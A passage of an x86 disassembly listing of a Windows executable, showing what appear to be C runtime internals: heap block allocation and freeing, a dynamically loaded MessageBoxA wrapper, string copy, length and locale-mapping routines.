sub_403E83+60j ; sub_403E83+7Dj ... mov ecx, [ebx+edx+8] mov edi, [ebx+edx+4] mov [ecx+4], edi mov ecx, [ebx+edx+4] mov edi, [ebx+edx+8] add ebx, [ebp+var_8] mov [ecx+8], edi mov [ebp+var_C], ebx loc_403F49: ; CODE XREF: sub_403E83+45j mov edi, ebx sar edi, 4 dec edi cmp edi, 3Fh jbe short loc_403F57 push 3Fh pop edi loc_403F57: ; CODE XREF: sub_403E83+CFj mov ecx, [ebp+var_4] and ecx, 1 mov [ebp+var_14], ecx jnz loc_404006 sub edx, [ebp+var_4] mov ecx, [ebp+var_4] sar ecx, 4 push 3Fh mov [ebp+var_8], edx dec ecx pop edx cmp ecx, edx mov [ebp+arg_4], ecx jbe short loc_403F82 mov [ebp+arg_4], edx mov ecx, edx loc_403F82: ; CODE XREF: sub_403E83+F8j add ebx, [ebp+var_4] mov edi, ebx mov [ebp+var_C], ebx sar edi, 4 dec edi cmp edi, edx jbe short loc_403F94 mov edi, edx loc_403F94: ; CODE XREF: sub_403E83+10Dj cmp ecx, edi jz short loc_404003 mov ecx, [ebp+var_8] mov edx, [ecx+4] cmp edx, [ecx+8] jnz short loc_403FEB mov ecx, [ebp+arg_4] cmp ecx, 20h jnb short loc_403FC7 mov edx, 80000000h shr edx, cl lea ecx, [ecx+eax+4] not edx and [eax+esi*4+44h], edx dec byte ptr [ecx] jnz short loc_403FEB mov ecx, [ebp+arg_0] and [ecx], edx jmp short loc_403FEB ; --------------------------------------------------------------------------- loc_403FC7: ; CODE XREF: sub_403E83+126j add ecx, 0FFFFFFE0h mov edx, 80000000h shr edx, cl mov ecx, [ebp+arg_4] lea ecx, [ecx+eax+4] not edx and [eax+esi*4+0C4h], edx dec byte ptr [ecx] jnz short loc_403FEB mov ecx, [ebp+arg_0] and [ecx+4], edx loc_403FEB: ; CODE XREF: sub_403E83+11Ej ; sub_403E83+13Bj ... mov ecx, [ebp+var_8] mov edx, [ecx+8] mov ecx, [ecx+4] mov [edx+4], ecx mov ecx, [ebp+var_8] mov edx, [ecx+4] mov ecx, [ecx+8] mov [edx+8], ecx loc_404003: ; CODE XREF: sub_403E83+113j mov edx, [ebp+var_8] loc_404006: ; CODE XREF: sub_403E83+DDj cmp [ebp+var_14], 0 jnz short loc_404015 cmp [ebp+arg_4], edi jz loc_40409E loc_404015: ; CODE XREF: sub_403E83+187j mov ecx, [ebp+var_10] lea ecx, [ecx+edi*8] mov ecx, [ecx+4] mov [edx+4], ecx mov ecx, [ebp+var_10] lea ecx, [ecx+edi*8] mov [edx+8], ecx mov [ecx+4], edx mov ecx, [edx+4] mov [ecx+8], edx mov ecx, [edx+4] cmp ecx, [edx+8] jnz short loc_40409E mov cl, [edi+eax+4] cmp edi, 20h mov byte ptr [ebp+arg_4+3], cl inc cl mov [edi+eax+4], cl jnb short loc_404072 cmp byte ptr [ebp+arg_4+3], 0 jnz short loc_404061 mov ebx, 80000000h mov ecx, edi shr ebx, cl mov ecx, [ebp+arg_0] or [ecx], ebx loc_404061: ; CODE XREF: sub_403E83+1CEj mov ebx, 80000000h mov ecx, edi shr ebx, cl lea eax, [eax+esi*4+44h] or [eax], ebx jmp short loc_40409B ; --------------------------------------------------------------------------- loc_404072: ; CODE XREF: sub_403E83+1C8j cmp byte ptr [ebp+arg_4+3], 0 jnz short loc_404088 lea ecx, [edi-20h] mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+arg_0] or [ecx+4], ebx loc_404088: ; CODE XREF: sub_403E83+1F3j lea ecx, [edi-20h] mov edi, 80000000h shr edi, cl lea eax, [eax+esi*4+0C4h] or [eax], edi loc_40409B: ; CODE XREF: sub_403E83+1EDj mov ebx, [ebp+var_C] loc_40409E: ; CODE XREF: sub_403E83+18Cj ; sub_403E83+1B6j mov eax, [ebp+var_10] mov [edx], ebx mov [ebx+edx-4], ebx dec dword ptr [eax] jnz loc_4041A9 mov eax, dword_407284 test eax, eax jz loc_40419B mov ecx, dword_40727C mov edi, dword_405094 shl ecx, 0Fh add ecx, [eax+0Ch] mov ebx, 8000h push 4000h push ebx push ecx call edi ; dword_405094 mov ecx, dword_40727C mov eax, dword_407284 mov edx, 80000000h shr edx, cl or [eax+8], edx mov eax, dword_407284 mov ecx, dword_40727C mov eax, [eax+10h] and dword ptr [eax+ecx*4+0C4h], 0 mov eax, dword_407284 mov eax, [eax+10h] dec byte ptr [eax+43h] mov eax, dword_407284 mov ecx, [eax+10h] cmp byte ptr [ecx+43h], 0 jnz short loc_404129 and dword ptr [eax+4], 0FFFFFFFEh mov eax, dword_407284 loc_404129: ; CODE XREF: sub_403E83+29Bj cmp dword ptr [eax+8], 0FFFFFFFFh jnz short loc_40419B push ebx push 0 push dword ptr [eax+0Ch] call edi ; dword_405094 mov eax, dword_407284 push dword ptr [eax+10h] push 0 push dword_4074C8 call dword_405090 ; RtlFreeHeap mov eax, dword_407288 mov edx, dword_40728C lea eax, [eax+eax*4] shl eax, 2 mov ecx, eax mov eax, dword_407284 sub ecx, eax lea ecx, [ecx+edx-14h] push ecx lea ecx, [eax+14h] push ecx push eax call sub_404A60 mov eax, [ebp+arg_0] add esp, 0Ch dec dword_407288 cmp eax, dword_407284 jbe short loc_40418D sub eax, 14h loc_40418D: ; CODE XREF: sub_403E83+305j mov ecx, dword_40728C mov dword_407280, ecx jmp short loc_40419E ; --------------------------------------------------------------------------- loc_40419B: ; CODE XREF: sub_403E83+233j ; sub_403E83+2AAj mov eax, [ebp+arg_0] loc_40419E: ; CODE XREF: sub_403E83+316j mov dword_407284, eax mov dword_40727C, esi loc_4041A9: ; CODE XREF: sub_403E83+226j pop edi pop esi pop ebx leave retn sub_403E83 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4041AE proc near ; CODE XREF: sub_403DE4+Ep var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 14h mov eax, dword_407288 mov edx, dword_40728C push ebx push esi lea eax, [eax+eax*4] push edi lea edi, [edx+eax*4] mov eax, [ebp+arg_0] mov [ebp+var_4], edi lea ecx, [eax+17h] and ecx, 0FFFFFFF0h mov [ebp+var_10], ecx sar ecx, 4 dec ecx cmp ecx, 20h jge short loc_4041EE or esi, 0FFFFFFFFh shr esi, cl or [ebp+var_8], 0FFFFFFFFh mov [ebp+var_C], esi jmp short loc_4041FE ; --------------------------------------------------------------------------- loc_4041EE: ; CODE XREF: sub_4041AE+30j add ecx, 0FFFFFFE0h or eax, 0FFFFFFFFh xor esi, esi shr eax, cl mov [ebp+var_C], esi mov [ebp+var_8], eax loc_4041FE: ; CODE XREF: sub_4041AE+3Ej mov eax, dword_407280 mov ebx, eax cmp ebx, edi mov [ebp+arg_0], ebx jnb short loc_404225 loc_40420C: ; CODE XREF: sub_4041AE+75j mov ecx, [ebx+4] mov edi, [ebx] and ecx, [ebp+var_8] and edi, esi or ecx, edi jnz short loc_404225 add ebx, 14h cmp ebx, [ebp+var_4] mov [ebp+arg_0], ebx jb short loc_40420C loc_404225: ; CODE XREF: sub_4041AE+5Cj ; sub_4041AE+6Aj cmp ebx, [ebp+var_4] jnz short loc_4042A3 mov ebx, edx loc_40422C: ; CODE XREF: sub_4041AE+96j cmp ebx, eax mov [ebp+arg_0], ebx jnb short loc_404248 mov ecx, [ebx+4] mov edi, [ebx] and ecx, [ebp+var_8] and edi, esi or ecx, edi jnz short loc_404246 add ebx, 14h jmp short loc_40422C ; --------------------------------------------------------------------------- loc_404246: ; CODE XREF: sub_4041AE+91j cmp ebx, eax loc_404248: ; CODE XREF: sub_4041AE+83j jnz short loc_4042A3 loc_40424A: ; CODE XREF: sub_4041AE+ADj cmp ebx, [ebp+var_4] jnb short loc_404260 cmp dword ptr [ebx+8], 0 jnz short loc_40425D add ebx, 14h mov [ebp+arg_0], ebx jmp short loc_40424A ; --------------------------------------------------------------------------- loc_40425D: ; CODE XREF: sub_4041AE+A5j cmp ebx, [ebp+var_4] loc_404260: ; CODE XREF: sub_4041AE+9Fj jnz short loc_404288 mov ebx, edx loc_404264: ; CODE XREF: sub_4041AE+C6j cmp ebx, eax mov [ebp+arg_0], ebx jnb short loc_404278 cmp dword ptr [ebx+8], 0 jnz short loc_404276 add ebx, 14h jmp short loc_404264 ; --------------------------------------------------------------------------- loc_404276: ; CODE XREF: sub_4041AE+C1j cmp ebx, eax loc_404278: ; CODE XREF: sub_4041AE+BBj jnz short loc_404288 call sub_4044B7 mov ebx, eax test ebx, ebx mov [ebp+arg_0], ebx jz short loc_40429C loc_404288: ; CODE XREF: sub_4041AE:loc_404260j ; sub_4041AE:loc_404278j push ebx call sub_404568 pop ecx mov ecx, [ebx+10h] mov [ecx], eax mov eax, [ebx+10h] cmp dword ptr [eax], 0FFFFFFFFh jnz short loc_4042A3 loc_40429C: ; CODE XREF: sub_4041AE+D8j xor eax, eax jmp loc_4044B2 ; --------------------------------------------------------------------------- loc_4042A3: ; CODE XREF: sub_4041AE+7Aj ; sub_4041AE:loc_404248j ... mov dword_407280, ebx mov eax, [ebx+10h] mov edx, [eax] cmp edx, 0FFFFFFFFh mov [ebp+var_4], edx jz short loc_4042CA mov ecx, [eax+edx*4+0C4h] mov edi, [eax+edx*4+44h] and ecx, [ebp+var_8] and edi, esi or ecx, edi jnz short loc_404301 loc_4042CA: ; CODE XREF: sub_4041AE+106j mov edx, [eax+0C4h] mov esi, [eax+44h] and edx, [ebp+var_8] and esi, [ebp+var_C] and [ebp+var_4], 0 lea ecx, [eax+44h] or edx, esi mov esi, [ebp+var_C] jnz short loc_4042FE loc_4042E7: ; CODE XREF: sub_4041AE+14Ej mov edx, [ecx+84h] inc [ebp+var_4] and edx, [ebp+var_8] add ecx, 4 mov edi, esi and edi, [ecx] or edx, edi jz short loc_4042E7 loc_4042FE: ; CODE XREF: sub_4041AE+137j mov edx, [ebp+var_4] loc_404301: ; CODE XREF: sub_4041AE+11Aj mov ecx, edx xor edi, edi imul ecx, 204h lea ecx, [ecx+eax+144h] mov [ebp+var_C], ecx mov ecx, [eax+edx*4+44h] and ecx, esi jnz short loc_40432A mov ecx, [eax+edx*4+0C4h] push 20h and ecx, [ebp+var_8] pop edi loc_40432A: ; CODE XREF: sub_4041AE+16Dj ; sub_4041AE+183j test ecx, ecx jl short loc_404333 shl ecx, 1 inc edi jmp short loc_40432A ; --------------------------------------------------------------------------- loc_404333: ; CODE XREF: sub_4041AE+17Ej mov ecx, [ebp+var_C] mov edx, [ecx+edi*8+4] mov ecx, [edx] sub ecx, [ebp+var_10] mov esi, ecx mov [ebp+var_8], ecx sar esi, 4 dec esi cmp esi, 3Fh jle short loc_404350 push 3Fh pop esi loc_404350: ; CODE XREF: sub_4041AE+19Dj cmp esi, edi jz loc_404465 mov ecx, [edx+4] cmp ecx, [edx+8] jnz short loc_4043C1 cmp edi, 20h jge short loc_404390 mov ebx, 80000000h mov ecx, edi shr ebx, cl mov ecx, [ebp+var_4] lea edi, [eax+edi+4] not ebx mov [ebp+var_14], ebx and ebx, [eax+ecx*4+44h] mov [eax+ecx*4+44h], ebx dec byte ptr [edi] jnz short loc_4043BE mov ebx, [ebp+arg_0] mov ecx, [ebp+var_14] and [ebx], ecx jmp short loc_4043C1 ; --------------------------------------------------------------------------- loc_404390: ; CODE XREF: sub_4041AE+1B5j lea ecx, [edi-20h] mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+var_4] lea edi, [eax+edi+4] lea ecx, [eax+ecx*4+0C4h] not ebx and [ecx], ebx dec byte ptr [edi] mov [ebp+var_14], ebx jnz short loc_4043BE mov ebx, [ebp+arg_0] mov ecx, [ebp+var_14] and [ebx+4], ecx jmp short loc_4043C1 ; --------------------------------------------------------------------------- loc_4043BE: ; CODE XREF: sub_4041AE+1D6j ; sub_4041AE+203j mov ebx, [ebp+arg_0] loc_4043C1: ; CODE XREF: sub_4041AE+1B0j ; sub_4041AE+1E0j ... mov ecx, [edx+8] mov edi, [edx+4] cmp [ebp+var_8], 0 mov [ecx+4], edi mov ecx, [edx+4] mov edi, [edx+8] mov [ecx+8], edi jz loc_404471 mov ecx, [ebp+var_C] mov edi, [ecx+esi*8+4] lea ecx, [ecx+esi*8] mov [edx+4], edi mov [edx+8], ecx mov [ecx+4], edx mov ecx, [edx+4] mov [ecx+8], edx mov ecx, [edx+4] cmp ecx, [edx+8] jnz short loc_404462 mov cl, [esi+eax+4] cmp esi, 20h mov byte ptr [ebp+arg_0+3], cl jge short loc_404433 inc cl cmp byte ptr [ebp+arg_0+3], 0 mov [esi+eax+4], cl jnz short loc_404421 mov edi, 80000000h mov ecx, esi shr edi, cl or [ebx], edi loc_404421: ; CODE XREF: sub_4041AE+266j mov edi, 80000000h mov ecx, esi shr edi, cl mov ecx, [ebp+var_4] or [eax+ecx*4+44h], edi jmp short loc_404462 ; --------------------------------------------------------------------------- loc_404433: ; CODE XREF: sub_4041AE+25Aj inc cl cmp byte ptr [ebp+arg_0+3], 0 mov [esi+eax+4], cl jnz short loc_40444C lea ecx, [esi-20h] mov edi, 80000000h shr edi, cl or [ebx+4], edi loc_40444C: ; CODE XREF: sub_4041AE+28Fj mov ecx, [ebp+var_4] lea edi, [eax+ecx*4+0C4h] lea ecx, [esi-20h] mov esi, 80000000h shr esi, cl or [edi], esi loc_404462: ; CODE XREF: sub_4041AE+24Ej ; sub_4041AE+283j mov ecx, [ebp+var_8] loc_404465: ; CODE XREF: sub_4041AE+1A4j test ecx, ecx jz short loc_404474 mov [edx], ecx mov [ecx+edx-4], ecx jmp short loc_404474 ; --------------------------------------------------------------------------- loc_404471: ; CODE XREF: sub_4041AE+229j mov ecx, [ebp+var_8] loc_404474: ; CODE XREF: sub_4041AE+2B9j ; sub_4041AE+2C1j mov esi, [ebp+var_10] add edx, ecx lea ecx, [esi+1] mov [edx], ecx mov [edx+esi-4], ecx mov esi, [ebp+var_C] mov ecx, [esi] test ecx, ecx lea edi, [ecx+1] mov [esi], edi jnz short loc_4044AA cmp ebx, dword_407284 jnz short loc_4044AA mov ecx, [ebp+var_4] cmp ecx, dword_40727C jnz short loc_4044AA and dword_407284, 0 loc_4044AA: ; CODE XREF: sub_4041AE+2E0j ; sub_4041AE+2E8j ... mov ecx, [ebp+var_4] mov [eax], ecx lea eax, [edx+4] loc_4044B2: ; CODE XREF: sub_4041AE+F0j pop edi pop esi pop ebx leave retn sub_4041AE endp ; =============== S U B R O U T I N E ======================================= sub_4044B7 proc near ; CODE XREF: sub_4041AE+CCp mov eax, dword_407288 mov ecx, dword_407278 push esi push edi xor edi, edi cmp eax, ecx jnz short loc_4044FA lea eax, [ecx+ecx*4+50h] shl eax, 2 push eax push dword_40728C push edi push dword_4074C8 call dword_405064 ; RtlReAllocateHeap cmp eax, edi jz short loc_40454A add dword_407278, 10h mov dword_40728C, eax mov eax, dword_407288 loc_4044FA: ; CODE XREF: sub_4044B7+11j mov ecx, dword_40728C push 41C4h push 8 lea eax, [eax+eax*4] push dword_4074C8 lea esi, [ecx+eax*4] call dword_40506C ; RtlAllocateHeap cmp eax, edi mov [esi+10h], eax jz short loc_40454A push 4 push 2000h push 100000h push edi call dword_405068 ; VirtualAlloc cmp eax, edi mov [esi+0Ch], eax jnz short loc_40454E push dword ptr [esi+10h] push edi push dword_4074C8 call dword_405090 ; RtlFreeHeap loc_40454A: ; CODE XREF: sub_4044B7+30j ; sub_4044B7+67j xor eax, eax jmp short loc_404565 ; --------------------------------------------------------------------------- loc_40454E: ; CODE XREF: sub_4044B7+81j or dword ptr [esi+8], 0FFFFFFFFh mov [esi], edi mov [esi+4], edi inc dword_407288 mov eax, [esi+10h] or dword ptr [eax], 0FFFFFFFFh mov eax, esi loc_404565: ; CODE XREF: sub_4044B7+95j pop edi pop esi retn sub_4044B7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404568 proc near ; CODE XREF: sub_4041AE+DBp var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov ecx, [ebp+arg_0] push ebx push esi push edi mov esi, [ecx+10h] mov eax, [ecx+8] xor ebx, ebx loc_40457A: ; CODE XREF: sub_404568+19j test eax, eax jl short loc_404583 shl eax, 1 inc ebx jmp short loc_40457A ; --------------------------------------------------------------------------- loc_404583: ; CODE XREF: sub_404568+14j mov eax, ebx push 3Fh imul eax, 204h pop edx lea eax, [eax+esi+144h] mov [ebp+var_4], eax loc_404598: ; CODE XREF: sub_404568+3Aj mov [eax+8], eax mov [eax+4], eax add eax, 8 dec edx jnz short loc_404598 mov edi, ebx push 4 shl edi, 0Fh add edi, [ecx+0Ch] push 1000h push 8000h push edi call dword_405068 ; VirtualAlloc test eax, eax jnz short loc_4045CB or eax, 0FFFFFFFFh jmp loc_40465E ; --------------------------------------------------------------------------- loc_4045CB: ; CODE XREF: sub_404568+59j lea edx, [edi+7000h] cmp edi, edx ja short loc_404611 lea eax, [edi+10h] loc_4045D8: ; CODE XREF: sub_404568+A7j or dword ptr [eax-8], 0FFFFFFFFh or dword ptr [eax+0FECh], 0FFFFFFFFh lea ecx, [eax+0FFCh] mov dword ptr [eax-4], 0FF0h mov [eax], ecx lea ecx, [eax-1004h] mov [eax+4], ecx mov dword ptr [eax+0FE8h], 0FF0h add eax, 1000h lea ecx, [eax-10h] cmp ecx, edx jbe short loc_4045D8 loc_404611: ; CODE XREF: sub_404568+6Bj mov eax, [ebp+var_4] lea ecx, [edi+0Ch] add eax, 1F8h push 1 pop edi mov [eax+4], ecx mov [ecx+8], eax lea ecx, [edx+0Ch] mov [eax+8], ecx mov [ecx+4], eax and dword ptr [esi+ebx*4+44h], 0 mov [esi+ebx*4+0C4h], edi mov al, [esi+43h] mov cl, al inc cl test al, al mov eax, [ebp+arg_0] mov [esi+43h], cl jnz short loc_40464E or [eax+4], edi loc_40464E: ; CODE XREF: sub_404568+E1j mov edx, 80000000h mov ecx, ebx shr edx, cl not edx and [eax+8], edx mov eax, ebx loc_40465E: ; CODE XREF: sub_404568+5Ej pop edi pop esi pop ebx leave retn sub_404568 endp ; =============== S U B R O U T I N E ======================================= sub_404663 proc near ; CODE XREF: sub_4036B9+11Fp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebx xor ebx, ebx cmp dword_407240, ebx push esi push edi jnz short loc_4046B2 push offset aUser32_dll ; "user32.dll" call dword_405060 ; LoadLibraryA mov edi, eax cmp edi, ebx jz short loc_4046E8 mov esi, dword_4050B0 push offset aMessageboxa ; "MessageBoxA" push edi call esi ; dword_4050B0 test eax, eax mov dword_407240, eax jz short loc_4046E8 push offset aGetactivewindo ; "GetActiveWindow" push edi call esi ; dword_4050B0 push offset aGetlastactivep ; "GetLastActivePopup" push edi mov dword_407244, eax call esi ; dword_4050B0 mov dword_407248, eax loc_4046B2: ; CODE XREF: sub_404663+Bj mov eax, dword_407244 test eax, eax jz short loc_4046D1 call eax ; dword_407244 mov ebx, eax test ebx, ebx jz short loc_4046D1 mov eax, dword_407248 test eax, eax jz short loc_4046D1 push ebx call eax ; dword_407248 mov ebx, eax loc_4046D1: ; CODE XREF: sub_404663+56j ; sub_404663+5Ej ... push [esp+0Ch+arg_8] push [esp+10h+arg_4] push [esp+14h+arg_0] push ebx call dword_407240 ; MessageBoxA loc_4046E4: ; CODE XREF: sub_404663+87j pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_4046E8: ; CODE XREF: sub_404663+1Cj ; sub_404663+33j xor eax, eax jmp short loc_4046E4 sub_404663 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_4046F0 proc near ; CODE XREF: sub_4036B9+C5p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov ecx, [esp+arg_8] push edi test ecx, ecx jz short loc_404773 push esi push ebx mov ebx, ecx mov esi, [esp+0Ch+arg_4] test esi, 3 mov edi, [esp+0Ch+arg_0] jnz short loc_404714 shr ecx, 2 jnz short loc_404781 jmp short loc_404735 ; --------------------------------------------------------------------------- loc_404714: ; CODE XREF: sub_4046F0+1Bj ; sub_4046F0+37j mov al, [esi] inc esi mov [edi], al inc edi dec ecx jz short loc_404742 test al, al jz short loc_40474A test esi, 3 jnz short loc_404714 mov ebx, ecx shr ecx, 2 jnz short loc_404781 loc_404730: ; CODE XREF: sub_4046F0+8Fj and ebx, 3 jz short loc_404742 loc_404735: ; CODE XREF: sub_4046F0+22j ; sub_4046F0+50j mov al, [esi] inc esi mov [edi], al inc edi test al, al jz short loc_40476E dec ebx jnz short loc_404735 loc_404742: ; CODE XREF: sub_4046F0+2Bj ; sub_4046F0+43j mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn ; --------------------------------------------------------------------------- loc_40474A: ; CODE XREF: sub_4046F0+2Fj test edi, 3 jz short loc_404764 loc_404752: ; CODE XREF: sub_4046F0+72j mov [edi], al inc edi dec ecx jz loc_4047E6 test edi, 3 jnz short loc_404752 loc_404764: ; CODE XREF: sub_4046F0+60j mov ebx, ecx shr ecx, 2 jnz short loc_4047D7 loc_40476B: ; CODE XREF: sub_4046F0+7Fj ; sub_4046F0+F4j mov [edi], al inc edi loc_40476E: ; CODE XREF: sub_4046F0+4Dj dec ebx jnz short loc_40476B pop ebx pop esi loc_404773: ; CODE XREF: sub_4046F0+7j mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_404779: ; CODE XREF: sub_4046F0+A9j ; sub_4046F0+C1j mov [edi], edx add edi, 4 dec ecx jz short loc_404730 loc_404781: ; CODE XREF: sub_4046F0+20j ; sub_4046F0+3Ej mov edx, 7EFEFEFFh mov eax, [esi] add edx, eax xor eax, 0FFFFFFFFh xor eax, edx mov edx, [esi] add esi, 4 test eax, 81010100h jz short loc_404779 test dl, dl jz short loc_4047CB test dh, dh jz short loc_4047C1 test edx, 0FF0000h jz short loc_4047B7 test edx, 0FF000000h jnz short loc_404779 mov [edi], edx jmp short loc_4047CF ; --------------------------------------------------------------------------- loc_4047B7: ; CODE XREF: sub_4046F0+B9j and edx, 0FFFFh mov [edi], edx jmp short loc_4047CF ; --------------------------------------------------------------------------- loc_4047C1: ; CODE XREF: sub_4046F0+B1j and edx, 0FFh mov [edi], edx jmp short loc_4047CF ; --------------------------------------------------------------------------- loc_4047CB: ; CODE XREF: sub_4046F0+ADj xor edx, edx mov [edi], edx loc_4047CF: ; CODE XREF: sub_4046F0+C5j ; sub_4046F0+CFj ... add edi, 4 xor eax, eax dec ecx jz short loc_4047E1 loc_4047D7: ; CODE XREF: sub_4046F0+79j xor eax, eax loc_4047D9: ; CODE XREF: sub_4046F0+EFj mov [edi], eax add edi, 4 dec ecx jnz short loc_4047D9 loc_4047E1: ; CODE XREF: sub_4046F0+E5j and ebx, 3 jnz short loc_40476B loc_4047E6: ; CODE XREF: sub_4046F0+66j mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn sub_4046F0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4047EE proc near ; CODE XREF: sub_403BD6+BEp ; sub_403BD6+E6p var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_405498 push offset sub_4035A8 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 1Ch push ebx push esi push edi mov [ebp+var_18], esp xor edi, edi cmp dword_40726C, edi jnz short loc_404864 push edi push edi push 1 pop ebx push ebx push offset dword_405448 mov esi, 100h push esi push edi call dword_4050AC ; LCMapStringW test eax, eax jz short loc_404842 mov dword_40726C, ebx jmp short loc_404864 ; --------------------------------------------------------------------------- loc_404842: ; CODE XREF: sub_4047EE+4Aj push edi push edi push ebx push offset dword_4070C8 push esi push edi call dword_4050B4 ; LCMapStringA test eax, eax jz loc_40497C mov dword_40726C, 2 loc_404864: ; CODE XREF: sub_4047EE+2Ej ; sub_4047EE+52j cmp [ebp+arg_C], edi jle short loc_404879 push [ebp+arg_C] push [ebp+arg_8] call sub_404A12 pop ecx pop ecx mov [ebp+arg_C], eax loc_404879: ; CODE XREF: sub_4047EE+79j mov eax, dword_40726C cmp eax, 2 jnz short loc_4048A0 push [ebp+arg_14] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call dword_4050B4 ; LCMapStringA jmp loc_40497E ; --------------------------------------------------------------------------- loc_4048A0: ; CODE XREF: sub_4047EE+93j cmp eax, 1 jnz loc_40497C cmp [ebp+arg_18], edi jnz short loc_4048B6 mov eax, dword_407264 mov [ebp+arg_18], eax loc_4048B6: ; CODE XREF: sub_4047EE+BEj push edi push edi push [ebp+arg_C] push [ebp+arg_8] mov eax, [ebp+arg_1C] neg eax sbb eax, eax and eax, 8 inc eax push eax push [ebp+arg_18] call dword_405084 ; MultiByteToWideChar mov ebx, eax mov [ebp+var_1C], ebx cmp ebx, edi jz loc_40497C mov [ebp+var_4], edi lea eax, [ebx+ebx] add eax, 3 and al, 0FCh call sub_4026C0 mov [ebp+var_18], esp mov eax, esp mov [ebp+var_24], eax or [ebp+var_4], 0FFFFFFFFh jmp short loc_404911 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor edi, edi mov [ebp+var_24], edi or [ebp+var_4], 0FFFFFFFFh mov ebx, [ebp+var_1C] loc_404911: ; CODE XREF: sub_4047EE+10Ej cmp [ebp+var_24], edi jz short loc_40497C push ebx push [ebp+var_24] push [ebp+arg_C] push [ebp+arg_8] push 1 push [ebp+arg_18] call dword_405084 ; MultiByteToWideChar test eax, eax jz short loc_40497C push edi push edi push ebx push [ebp+var_24] push [ebp+arg_4] push [ebp+arg_0] call dword_4050AC ; LCMapStringW mov esi, eax mov [ebp+var_28], esi cmp esi, edi jz short loc_40497C test byte ptr [ebp+arg_4+1], 4 jz short loc_404990 cmp [ebp+arg_14], edi jz loc_404A0B cmp esi, [ebp+arg_14] jg short loc_40497C push [ebp+arg_14] push [ebp+arg_10] push ebx push [ebp+var_24] push [ebp+arg_4] push [ebp+arg_0] call dword_4050AC ; LCMapStringW test eax, eax jnz loc_404A0B loc_40497C: ; CODE XREF: sub_4047EE+66j ; sub_4047EE+B5j ... xor eax, eax loc_40497E: ; CODE XREF: sub_4047EE+ADj ; sub_4047EE+21Fj lea esp, [ebp-38h] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_404990: ; CODE XREF: sub_4047EE+160j mov [ebp+var_4], 1 lea eax, [esi+esi] add eax, 3 and al, 0FCh call sub_4026C0 mov [ebp+var_18], esp mov ebx, esp mov [ebp+var_20], ebx or [ebp+var_4], 0FFFFFFFFh jmp short loc_4049C4 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor edi, edi xor ebx, ebx or [ebp+var_4], 0FFFFFFFFh mov esi, [ebp+var_28] loc_4049C4: ; CODE XREF: sub_4047EE+1C2j cmp ebx, edi jz short loc_40497C push esi push ebx push [ebp+var_1C] push [ebp+var_24] push [ebp+arg_4] push [ebp+arg_0] call dword_4050AC ; LCMapStringW test eax, eax jz short loc_40497C cmp [ebp+arg_14], edi push edi push edi jnz short loc_4049EB push edi push edi jmp short loc_4049F1 ; --------------------------------------------------------------------------- loc_4049EB: ; CODE XREF: sub_4047EE+1F7j push [ebp+arg_14] push [ebp+arg_10] loc_4049F1: ; CODE XREF: sub_4047EE+1FBj push esi push ebx push 220h push [ebp+arg_18] call dword_4050C0 ; WideCharToMultiByte mov esi, eax cmp esi, edi jz loc_40497C loc_404A0B: ; CODE XREF: sub_4047EE+165j ; sub_4047EE+188j mov eax, esi jmp loc_40497E sub_4047EE endp ; =============== S U B R O U T I N E ======================================= sub_404A12 proc near ; CODE XREF: sub_4047EE+81p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov edx, [esp+arg_4] mov eax, [esp+arg_0] test edx, edx push esi lea ecx, [edx-1] jz short loc_404A2F loc_404A22: ; CODE XREF: sub_404A12+1Bj cmp byte ptr [eax], 0 jz short loc_404A2F inc eax mov esi, ecx dec ecx test esi, esi jnz short loc_404A22 loc_404A2F: ; CODE XREF: sub_404A12+Ej ; sub_404A12+13j cmp byte ptr [eax], 0 pop esi jnz short loc_404A3A sub eax, [esp+arg_0] retn ; --------------------------------------------------------------------------- loc_404A3A: ; CODE XREF: sub_404A12+21j mov eax, edx retn sub_404A12 endp ; =============== S U B R O U T I N E ======================================= sub_404A3D proc near ; CODE XREF: sub_403DB8+1Fp arg_0 = dword ptr 4 mov eax, dword_407274 test eax, eax jz short loc_404A55 push [esp+arg_0] call eax ; dword_407274 test eax, eax pop ecx jz short loc_404A55 push 1 pop eax retn ; --------------------------------------------------------------------------- loc_404A55: ; CODE XREF: sub_404A3D+7j ; sub_404A3D+12j xor eax, eax retn sub_404A3D endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404A60 proc near ; CODE XREF: sub_403E83+2EEp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push edi push esi mov esi, [ebp+arg_4] mov ecx, [ebp+arg_8] mov 